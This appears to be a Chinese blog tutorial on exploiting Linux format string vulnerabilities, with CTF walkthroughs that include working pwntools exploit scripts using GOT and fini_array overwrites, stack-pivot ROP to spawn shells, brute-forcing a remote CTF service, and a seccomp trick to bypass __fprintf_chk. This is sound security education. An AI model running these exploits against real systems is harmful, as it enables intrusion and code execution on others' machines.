linux 格式化字符串漏洞

本文深入探讨了格式化字符串函数的原理和常见用法,包括printf、fprintf、sprintf等,以及在C语言中的安全问题。通过实例展示了如何利用格式化字符串漏洞泄露内存、覆盖内存,并给出了在不同场景下的利用策略,如栈溢出、heap溢出等。同时,文章提到了一些防御措施,如fprintf_chk函数和seccomp策略,以及如何绕过它们。最后,通过具体的CTF挑战题目解析,演示了实际漏洞利用过程和技术细节。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

基础知识

常见格式化字符串函数

函数基本介绍
printf输出到stdout
fprintf输出到指定FILE流
vprintf根据参数列表格式化输出到stdout
vfprintf根据参数列表格式化输出到FILE流
sprintf输出到字符串
snprintf输出指定字节数到字符串
vsprintf根据参数列表格式化输出到字符串
vsnprintf根据参数列表格式化输出指定字节到字符串

常用格式化字符串形式

%[parameter][flags][field width][.precision][length]type
  • parameter:n$ ,获取格式化字符串中的指定第 n 个参数
  • flags:在 width 设置后指定可以用来作为填充的内容之类的内容
  • field width:输出的最小宽度
  • precision:输出的最大长度
  • length,输出的长度
    • hh,输出一个字节
    • h,输出一个双字节
  • type
    • d/i,有符号整数
    • u,无符号整数
    • x/X,16进制
    • o,8进制
    • s,所有字节
    • c,char类型单个字符
    • p,void * 型,输出对应变量的值。printf(“%p”,a) 用地址的格式打印变量 a 的值,printf(“%p”, &a) 打印变量 a 所在的地址。
    • n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
      • hhn 写一字节
      • hn 写两字节
      • n 写四字节
      • ln 32位写四字节,64位写八字节
      • lln 写八字节

原理验证

示例程序:

#include<stdio.h>

int main() {
    char s[100] = "aaaa.%p.%p.%p.%p.%p.%p.%p";
    printf(s);
    return 0;
}

32位

编译命令:

gcc test.c -g -m32 -o test

输出结果:

aaaa.0xf7ffc988.0xffffcf2a.0x56555595.0xffffcf2a.0xf7ffc984.0x61616161.0x2e70252e

栈结构:

00:0000│ esp  0xffffcee0 —▸ 0xffffcef8 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
01:0004│      0xffffcee4 —▸ 0xf7ffc988 (_rtld_global_ro+136) ◂— 0x8e
02:0008│      0xffffcee8 —▸ 0xffffcf2a ◂— 0x0
03:000c│      0xffffceec —▸ 0x56555595 (main+24) ◂— add    ebx, 0x1a3f
04:0010│      0xffffcef0 —▸ 0xffffcf2a ◂— 0x0
05:0014│      0xffffcef4 —▸ 0xf7ffc984 (_rtld_global_ro+132) ◂— 0x6
06:0018│ eax  0xffffcef8 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'

自上而下依次是参数0~6,参数0为格式化字符串地址,而格式化字符串前4字节又作为参数6(由于栈结构不同,需要视情况而定)。因此如果将格式化字符串合适的位置设置为目标地址就可以对该地址的数据进行操作。

64位

编译命令:

gcc test.c -g -m64 -o test

输出结果:

aaaa.0x7fffffffde78.0x70.0x555555554770.0x7ffff7dced80.0x7ffff7dced80.0x2e70252e61616161.0x70252e70252e7025

寄存器:

 RAX  0x0
 RBX  0x0
 RCX  0x555555554770 (__libc_csu_init) ◂— push   r15
 RDX  0x70
 RDI  0x7fffffffdd20 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
 RSI  0x7fffffffde78 —▸ 0x7fffffffe21b
 R8   0x7ffff7dced80 (initial) ◂— 0x0
 R9   0x7ffff7dced80 (initial) ◂— 0x0
 R10  0x0
 R11  0x0
 R12  0x5555555545a0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffde70 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdd90 —▸ 0x555555554770 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffdd20 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
 RIP  0x555555554747 (main+157) ◂— call   0x555555554580

栈结构:

00:0000│ rdi rsp  0x7fffffffdd20 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
01:0008│          0x7fffffffdd28 ◂— '%p.%p.%p.%p.%p.%p'
02:0010│          0x7fffffffdd30 ◂— '.%p.%p.%p'
03:0018│          0x7fffffffdd38 ◂— 0x70 /* 'p' */
04:0020│          0x7fffffffdd40 ◂— 0x0

由于64位程序先使用rdi、rsi、rdx、rcx、r8、r9寄存器作为函数参数的前六个参数,多余的参数会依次压在栈上,因此前6个输出的为寄存器中的值(aaaa看做是格式化字符串参数),格式化字符串前8个字节作为参数6。

泄露内存

泄露栈变量内存

泄露栈变量的值

获取栈中被视为第 n + 1 n+1 n+1 个参数的值:%n$x%n$p

注意:%x 其实只是 %d 的 16 进制输出,对应的是 32 位也就是 4 字节;在 64 位操作系统下,只会截取后 32 位;%p 和系统位数关联没有问题,因此建议用 %p

泄露栈变量对应对应地址的内容

获取栈中被视为第 n + 1 n+1 n+1 个参数对应地址的内容:%n$s

泄露任意地址内存

获取地址addr对应的值(addr为第k个参数):addr%k$s

覆盖内存

覆盖内存的原理是 %k$n 可以覆盖第 k 个参数指向的地址为已经输出的字符数量。

注意:覆盖内存只能覆盖栈上某地址指向的内存,而不是直接覆盖栈上某地址。

pwntools生成payload

对于格式化字符串payload,pwntools也提供了一个可以直接使用的类Fmtstr,具体文档见http://docs.pwntools.com/en/stable/fmtstr.html,我们较常使用的功能是

fmtstr_payload(offset, {address:data}, numbwritten=0, write_size='byte')
  • offset表示格式化字符串的偏移
  • numbwritten表示已经输出的字符个数
  • write_size表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。

注意:部分题目会限制时间,导致pwntools生成的payload失效。一般这一类题目可以通过仅修改低地址等操作减小输出长度,这时需要手动构造payload。

手动构造payload

覆盖小数字

对于小于机器字长的数字,如果把地址放在格式化字符串前面会使得已输出字符个数大于数字大小,因此要将地址放在后面。

以数字2为例:aa%k$n[padding][addr]

覆盖大数字

直接一次性输出大数字个字节来进行覆盖时间过长,因此需要把大数字拆分成若干个部分,分别进行覆盖。比如hhn按字节写或hn按双字写。

hhn写入32bit数为例,payload形式为:[addr][addr+1][addr+2][addr+3][pad1]%k$hhn[pad2]%(k+1)$hhn[pad3]%(k+2)$hhn[pad4]%(k+3)$hhn

例题:ciscn_2019_sw_1

附件下载链接

保护情况:
在这里插入图片描述
主程序典型的格式化字符串漏洞。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char format[68]; // [esp+0h] [ebp-48h] BYREF

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  puts("Welcome to my ctf! What's your name?");
  __isoc99_scanf("%64s", format);
  printf("Hello ");
  printf(format);
  return 0;
}

在这里插入图片描述
init_arrayfini_array 中存放的函数指针分别在加载和结束时依次调用,且仅在 RELRONO RELRO 时可以修改。为了多次利用格式化字符串漏洞,需要将 fini_array 修改为 main 函数地址。
第一次执行 main 函数将 fini_array 修改为 main 函数地址,且将 printf@got 修改为 system@plt

名称地址
fini_array0x0804979C
main0x08048534
printf@got0x0804989C
system@plt0x080483D0

payload 为:

payload = p32(fini_array+2) + p32(printf_got+2) 
payload += p32(printf_got) + p32(fini_array)
payload += "%"+str(0x0804-0x10)+"c" + "%4$hn"
payload += "%5$hn"
payload += "%"+str(0x83D0-0x0804)+"c" + "%6$hn"
payload += "%"+str(0x8534-0x83D0)+"c" + "%7$hn"

第二次执行 main 函数 发送 \bin\sh 获取 shell

堆上格式化字符串通用解法

例题:2022 Midnight Sun CTF speed6

附件下载链接

存在一个堆上格式化字符串。

unsigned int vuln()
{
  char *buf; // [esp+8h] [ebp-10h]
  unsigned int canary; // [esp+Ch] [ebp-Ch]

  canary = __readgsdword(0x14u);
  buf = (char *)malloc(0x100u);
  printf("f5b: ");
  fgets(buf, 0x100, stdin);
  printf(buf);
  free(buf);
  return __readgsdword(0x14u) ^ canary;
}

main 函数循环调用 call_vuln 函数,而 call_vuln 函数经过多层函数调用最终调用到 vuln 函数。

void __cdecl __noreturn main()
{
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  banner();
  while ( 1 )
    call_vuln();
}

首先通过格式化字符串漏洞我们可以泄露栈地址和 libc 基址。

之后考虑构造任意地址写原语。由于格式化字符串在堆上,我们不能直接在栈上布置要写入的地址,因此需要借助栈上的 ebp 链进行构造。

我们发现只要栈上存在一个有 2 跳的 ebp链就可以构造栈上相对地址写原语
在这里插入图片描述

由于我们有了栈上相对地址写原语,因此可以进一步构造任意地址写原语
在这里插入图片描述
有了任意地址读写后就考虑如何劫持程序执行流程。

由于格式化字符串函数在一个死循环里面且格式化字符串漏洞无法再一次循环中写入完整地址,因此不能通过直接栈上写 ROP 的方式劫持程序执行流程。

但是由于本题的 RELRO 保护为 Partial RELRO ,可以改 got 表,并且开启 canary 保护,因此我们可以考虑修改 __stack_chk_fail@got ,然后再修改 canary 调用 __stack_chk_fail 函数劫持程序执行流程。

最直接的方法是在 __stack_chk_fail@got 上写 one_gadget 。不过这里有一个更通用的方法,那就是通过栈迁移到栈上的 ROP 完成 get shell 。

我们利用 IDAPython 脚本在 libc 中搜索合适的栈迁移 gadget 。

import idc
from idaapi import *
import idautils

start_ea = None
end_ea = None
max_len = 10
class Gadget():
    def __init__(self, addr, asms, val):
        self.addr = addr
        self.asms = asms
        self.val = val


if __name__ == '__main__':
    for seg in idautils.Segments():
        if idc.get_segm_name(seg) == '.text':
            start_ea = idc.get_segm_start(seg)
            end_ea = idc.get_segm_end(seg)
            break
    assert start_ea != None
    fp = open("rop.txt", "w")
    gadgets = []
    i = start_ea
    while i < end_ea:
        asm = idc.generate_disasm_line(i, 0).split(";")[0]
        if asm.startswith("add     esp, "):
            asms = [asm.replace("     ", " ")]
            val = idc.get_operand_value(i, 1)
            j = i + get_item_size(i)
            while j < end_ea:
                asm = idc.generate_disasm_line(j, 0).split(";")[0]
                asms.append(asm.replace("     ", " "))
                if len(asms) > max_len: break
                if "rsp" in asm or "esp" in asm or "leave" in asm or "call" in asm: break
                if print_insn_mnem(j) == "push": val -= 4
                if print_insn_mnem(j) == "pop": val += 4
                if print_insn_mnem(j) == "retn":
                    gadgets.append(Gadget(i, asms, val))
                    gadget = Gadget(i, asms, val)
                    print("val: " + hex(gadget.val))
                    print(hex(gadget.addr) + " : " + "; ".join(gadget.asms) + ";")
                    j += get_item_size(j)
                    break
                j += get_item_size(j)
            i = j
        else:
            i += get_item_size(i)
    gadgets = sorted(gadgets, key=lambda gadget: gadget.val)
    print("_________________________________________")
    print(len(gadgets))
    for gadget in gadgets:
        fp.write("val: " + hex(gadget.val) + "\n")
        fp.write(hex(gadget.addr) + " : " + "; ".join(gadget.asms) + ";\n")
    fp.close()

最终找到了一个可以将 esp 加 0x100 的 gadget 。

0xa08c9 : add esp, 100h; sub eax, edx; retn;

我们只需要再栈迁移的目标地址上利用栈上相对地址写原语写入 ROP 即可。

from pwn import *

elf = ELF("./speed6_patch")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
# context.log_level = 'debug'
p = process([elf.path])

n16 = lambda x: (x + 0x10000) & 0xFFFF

p.sendlineafter("f5b: ", "%2$p||%37$p")
p.recvuntil("0x")
libc.address = int(p.recvuntil("||", drop=True), 16) - libc.sym['_IO_2_1_stdin_']
log.success("libc base: " + hex(libc.address))
stack_addr = int(p.recvuntil("\n", drop=True), 16) - 0x55 * 4
log.success("stack: " + hex(stack_addr))


def arbitrary_offset_write(offset, value):
    assert (stack_addr & 0xFFFF) + offset < (1 << 16) and value < (1 << 16)
    p.sendlineafter('f5b: ', '%{}c%37$hn'.format((stack_addr + offset) & 0xFFFF))
    p.sendlineafter('f5b: ', '%{}c%85$hn'.format(value))


def arbitrary_address_write(address, value):
    assert address < (1 << 32) and value < (1 << 16)
    arbitrary_offset_write(0x30 * 4, address & 0xFFFF)
    arbitrary_offset_write((0x30 * 4 + 2) & 0xFFFF, address >> 16)
    p.sendlineafter('f5b: ', '%{}c%48$hn'.format(value & 0xFFFF))


add_esp_ret = libc.search(asm('add esp, 0x100; sub eax, edx; ret;'), executable=True).next()
arbitrary_address_write(elf.got['__stack_chk_fail'], add_esp_ret & 0xFFFF)
arbitrary_address_write(elf.got['__stack_chk_fail'] + 2, add_esp_ret >> 16)

system_addr = libc.sym['system']
bin_sh_addr = libc.search('/bin/sh').next()
arbitrary_offset_write(0x43 * 4, system_addr & 0xFFFF)
arbitrary_offset_write(0x43 * 4 + 2, system_addr >> 16)
arbitrary_offset_write(0x45 * 4, bin_sh_addr & 0xFFFF)
arbitrary_offset_write(0x45 * 4 + 2, bin_sh_addr >> 16)

# gdb.attach(p, 'b *{}'.format(hex(add_esp_ret)))
# pause()
arbitrary_offset_write(0x1c, 0x1)  # change canary to call the __stack_chk_fail

p.interactive()

例题:2019 xman format

附件下载链接

同样是格式化字符串。

void __cdecl sub_8048651()
{
  char *buf; // [esp+Ch] [ebp-Ch]

  puts("...");
  buf = (char *)malloc(0x100u);
  read(0, buf, 0x37u);
  call_vuln(buf);
}

但与上一题不同的是这次的格式化字符串是离线操作,不能泄露地址。

void __cdecl vuln(char *buf)
{
  char *v1; // eax
  const char *format; // [esp+Ch] [ebp-Ch]

  puts("...");
  v1 = strtok(buf, "|");
  printf(v1);
  while ( 1 )
  {
    format = strtok(0, "|");
    if ( !format )
      break;
    printf(format);
  }
}

另外还有一个后门函数。

int backdoor()
{
  return system("/bin/sh");
}

由于不能泄露地址,因此只能爆破 ebp 链指向返回地址然后写返回地址为 backdoor 函数地址来 get shell 。
在这里插入图片描述

from pwn import *

elf = ELF("./xman_2019_format")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

start = lambda: remote("node4.buuoj.cn", 25559)  # process([elf.path])

while True:
    global p
    try:
        p = start()
        # gdb.attach(p, "b *0x080485F6\nb *0x8048606")
        # pause()
        payload = "%" + str(0x9c) + "c%10$hhn|%" + str(0x85ab) + "c%18$hn"
        p.sendlineafter('...', payload)
        sleep(1)
        p.sendline('cat flag')
        p.recvline_contains('flag', timeout=1)
        p.interactive()
    except KeyboardInterrupt:
        p.close()
        exit(0)
    except:
        p.close()

fprintf_chk 绕过

fprintf_chk 执行 %n 会报错,检测逻辑(glibc2.23)。

    LABEL(form_number) : if (s->_flags2 & _IO_FLAGS2_FORTIFY) {                                     \
        if (!readonly_format) {                                                                     \
            extern int __readonly_area(const void *, size_t)                                        \
                    attribute_hidden;                                                               \
            readonly_format = __readonly_area(format, ((STR_LEN(format) + 1) * sizeof(CHAR_T)));    \
        }                                                                                           \
        if (readonly_format < 0)                                                                    \
            __libc_fatal("*** %n in writable segment detected ***\n");                              \
    }      

__readonly_area 会通过 fopen 打开 /proc/self/maps 来判断 format 是否是只读段。也就是说只有 format 的内存只读的时候才能有 %n ,从而避免了通过修改 format 实现任意地址写。

int __readonly_area(const char *ptr, size_t size) {
    const void *ptr_end = ptr + size;

    FILE *fp = fopen("/proc/self/maps", "rce");
    if (fp == NULL) {
        /* It is the system administrator's choice to not have /proc
	 available to this process (e.g., because it runs in a chroot
	 environment.  Don't fail in this case.  */
        if (errno == ENOENT
            /* The kernel has a bug in that a process is denied access
	     to the /proc filesystem if it is set[ug]id.  There has
	     been no willingness to change this in the kernel so
	     far.  */
            || errno == EACCES)
            return 1;
        return -1;
    }

    /* We need no locking.  */
    __fsetlocking(fp, FSETLOCKING_BYCALLER);

    char *line = NULL;
    size_t linelen = 0;

    while (!feof_unlocked(fp)) {
        if (_IO_getdelim(&line, &linelen, '\n', fp) <= 0)
            break;

        char *p;
        uintptr_t from = strtoul(line, &p, 16);

        if (p == line || *p++ != '-')
            break;

        char *q;
        uintptr_t to = strtoul(p, &q, 16);

        if (q == p || *q++ != ' ')
            break;

        if (from < (uintptr_t) ptr_end && to > (uintptr_t) ptr) {
            /* Found an entry that at least partially covers the area.  */
            if (*q++ != 'r' || *q++ != '-')
                break;

            if (from <= (uintptr_t) ptr && to >= (uintptr_t) ptr_end) {
                size = 0;
                break;
            } else if (from <= (uintptr_t) ptr)
                size -= to - (uintptr_t) ptr;
            else if (to >= (uintptr_t) ptr_end)
                size -= (uintptr_t) ptr_end - from;
            else
                size -= to - from;

            if (!size)
                break;
        }
    }

    fclose(fp);
    free(line);

    /* If the whole area between ptr and ptr_end is covered by read-only
     VMAs, return 1.  Otherwise return -1.  */
    return size == 0 ? 1 : -1;
}

结构体 __IO_FILE 利用 _fileno 存储该文件的文件描述符。

_IO_FILE * _IO_file_open (_IO_FILE *fp, const char *filename, int posix_mode, int prot, int read_write, int is32not64) {
    int fdesc;
#ifdef _LIBC
    if (__glibc_unlikely (fp->_flags2 & _IO_FLAGS2_NOTCANCEL))
        fdesc = open_not_cancel (filename, posix_mode | (is32not64 ? 0 : O_LARGEFILE), prot);
    else
        fdesc = open (filename, posix_mode | (is32not64 ? 0 : O_LARGEFILE), prot);
#else
    fdesc = open (filename, posix_mode, prot);
#endif
    if (fdesc < 0)
        return NULL;
    fp->_fileno = fdesc;
    _IO_mask_flags (fp, read_write,_IO_NO_READS+_IO_NO_WRITES+_IO_IS_APPENDING);
    if ((read_write & (_IO_IS_APPENDING | _IO_NO_READS)) == (_IO_IS_APPENDING | _IO_NO_READS)) {
        _IO_off64_t new_pos = _IO_SYSSEEK (fp, 0, _IO_seek_end);
        if (new_pos == _IO_pos_BAD && errno != ESPIPE) {
	        close_not_cancel (fdesc);
	        return NULL;
	    }
    }
    _IO_link_in ((struct _IO_FILE_plus *) fp);
    return fp;
}
libc_hidden_def (_IO_file_open)

如果控制 seccompopen 函数返回 0 就会使 __readonly_area 程序从标志输入中读取数据进行判断,此时只需要输入 000000000000-7fffffffffff r-xp 00000000 00:00 0 /bin/vm 即可绕过 %n 检测。

例题:2019 中国技能大赛 pwn2

附件下载链接

edit 函数可以编辑 rule

unsigned __int64 edit()
{
  int v1; // [rsp+0h] [rbp-18h] BYREF
  int v2; // [rsp+4h] [rbp-14h] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-10h]

  v3 = __readfsqword(0x28u);
  puts("1.modify the rule.");
  puts("2.modify the chunk.");
  puts("input yout choice: ");
  v1 = 0;
  __isoc99_scanf("%d", &v1);
  if ( v1 == 1 )
  {
    puts("input the size");
    v2 = 0;
    __isoc99_scanf("%d", &v2);
    if ( (unsigned int)(v2 - 1) <= 0xDF )
    {
      puts("input your content");
      read(0, rule, v2);
    }
  }
  else if ( v1 == 2 )
  {
    puts("It's no use.");
  }
  return __readfsqword(0x28u) ^ v3;
}

set 功能可以把 rule 设应用到沙箱。

unsigned __int64 set()
{
  __int16 v1; // [rsp+0h] [rbp-28h] BYREF
  void *v2; // [rsp+8h] [rbp-20h]
  unsigned __int64 v3; // [rsp+18h] [rbp-10h]

  v3 = __readfsqword(0x28u);
  prctl(38, 1LL, 0LL, 0LL, 0LL);
  v1 = 11;
  v2 = rule;
  prctl(22, 2LL, &v1);
  return __readfsqword(0x28u) ^ v3;
}

add 功能有 __fprintf_chk 的格式化字符串漏洞,并且如果 random_num 的值为 0x30 则可以泄露基址。

unsigned __int64 leak_libc()
{
  int v0; // eax
  int v1; // ebp
  _BYTE v3[1288]; // [rsp+0h] [rbp-528h] BYREF
  unsigned __int64 v4; // [rsp+508h] [rbp-20h]

  v4 = __readfsqword(0x28u);
  memset(v3, 0, 0x500uLL);
  v0 = open("/proc/self/maps", 0x80000);
  if ( !v0 )
    exit(0);
  v1 = v0;
  read(v0, v3, 0x500uLL);
  write(1, v3, 0x500uLL);
  close(v1);
  puts("\n");
  return __readfsqword(0x28u) ^ v4;
}

unsigned __int64 add()
{
  int v1; // [rsp+4h] [rbp-114h] BYREF
  char src[4]; // [rsp+8h] [rbp-110h] BYREF
  int v3; // [rsp+Ch] [rbp-10Ch]
  __int64 v4; // [rsp+100h] [rbp-18h]
  unsigned __int64 v5; // [rsp+108h] [rbp-10h]

  v5 = __readfsqword(0x28u);
  v3 = 0;
  puts("input the size");
  __isoc99_scanf("%d", &v1);
  global_size = v1;
  if ( v1 <= 0 )
  {
    puts("invalid size");
  }
  else
  {
    malloc_node = calloc(v1, 1uLL);
    puts("input your content: ");
    __read_chk(0LL, (__int64)src, v1, 240LL);
    memcpy(malloc_node, src, v1);
    __fprintf_chk(stderr, 1LL, src);
    __printf_chk(1LL, "The random_num+110 is : %d\n", random_num);
    if ( random_num == 0x30 )
      leak_libc();
  }
  return __readfsqword(0x28u) ^ v4;
}

另外 edit 被 patch 过,在函数开头会向栈中 push 全局变量 random_num 的地址,不难想到 random_num 可以被格式化字符串漏洞修改成 0x30 。

.text:0000000000400DCC push    offset random_num
.text:0000000000400DD1 nop
.text:0000000000400DD2 nop
.text:0000000000400DD3 nop
.text:0000000000400DD4 nop
.text:0000000000400DD5 nop

首先编写一个沙箱规则使得系统调用 open 在打开 /proc/self/maps 时会返回 0 。

我们可以通过 open 的第一个参数最低字节是否为 \x7c 来判断打开的是不是 /proc/self/maps
在这里插入图片描述
另外注意沙箱规则中的 ERRNO 是系统调用返回的错误码,这个与直接终止进程的 KILL 是不同的。

A = arch
A == ARCH_X86_64 ? next : dead
A = sys_number
A == close ? dead : next
A == exit_group ? dead : next
A == open ? next : allow
A = args[0]
A &= 0xff
A == 0x7c ? dead : next
allow:
return ALLOW
dead:
return ERRNO(0)

利用 seccomp-tools 生成规则。

➜ seccomp-tools asm rule -a amd64 -f raw | seccomp-tools disasm -   
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x06 0x00 0x00000003  if (A == close) goto 0010
 0004: 0x15 0x05 0x00 0x000000e7  if (A == exit_group) goto 0010
 0005: 0x15 0x00 0x03 0x00000002  if (A != open) goto 0009
 0006: 0x20 0x00 0x00 0x00000010  A = filename # open(filename, flags, mode)
 0007: 0x54 0x00 0x00 0x000000ff  A &= 0xff
 0008: 0x15 0x01 0x00 0x0000007c  if (A == 124) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00050000  return ERRNO(0)

在调用 __fprintf_chkrandom_num 位于第 6 个参数,而格式化字符串位于第 2 个参数,因此构造格式化字符串 %16p%16p%16p%ln 可以输出 0x30 个字符且 %ln 恰好对应 random_num 。这样就可以将 random_num 修改为 0x30 实现 libc 基址泄露。另外注意由于沙箱规则使得 open 打开 /proc/self/maps 时会返回 0 ,因此需要在调用 __fprintf_chk 时输入 000000000000-7fffffffffff r-xp 00000000 00:00 0 /bin/vm 绕过__fprintf_chk 的检查。
在这里插入图片描述
后续按照同样的方法修改 free@gotsystem 函数地址完成 getshell 。

fini_array 不可写绕过

if (l->l_info[DT_FINI_ARRAY] != NULL) {
  ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
  //
  unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
  while (i-- > 0)
    ((fini_t) array[i]) ();
    //可以劫持
    //先调用array[i],再调用array[i-1]
}

调用的汇编代码如下(ubuntu18.04).

0x7ff6e56accff <_dl_fini+447>    lea    r15, [rcx + rdx*8]
;...
0x7ff6e56acd10 <_dl_fini+464>    call   qword ptr [r15]

rdx 固定为 0 ,rcx 来自下面的代码片段。

0x7ff6e56accda <_dl_fini+410>    mov    r15, qword ptr [rax + 8]      <_DYNAMIC+88>
0x7ff6e56accde <_dl_fini+414>    mov    rax, qword ptr [r13 + 0x120]  <_DYNAMIC+80>
0x7ff6e56acce5 <_dl_fini+421>    mov    rcx, qword ptr [r13]
0x7ff6e56acce9 <_dl_fini+425>    mov    rax, qword ptr [rax + 8]
0x7ff6e56acced <_dl_fini+429>    add    rcx, r15                      <__do_global_dtors_aux_fini_array_entry>

r13 的值为一个指针,该指针在 printf 执行的栈上存在,可以控制 [r13]target_ptr - fini_array_addr 从而劫持 fini_array

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_sky123_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值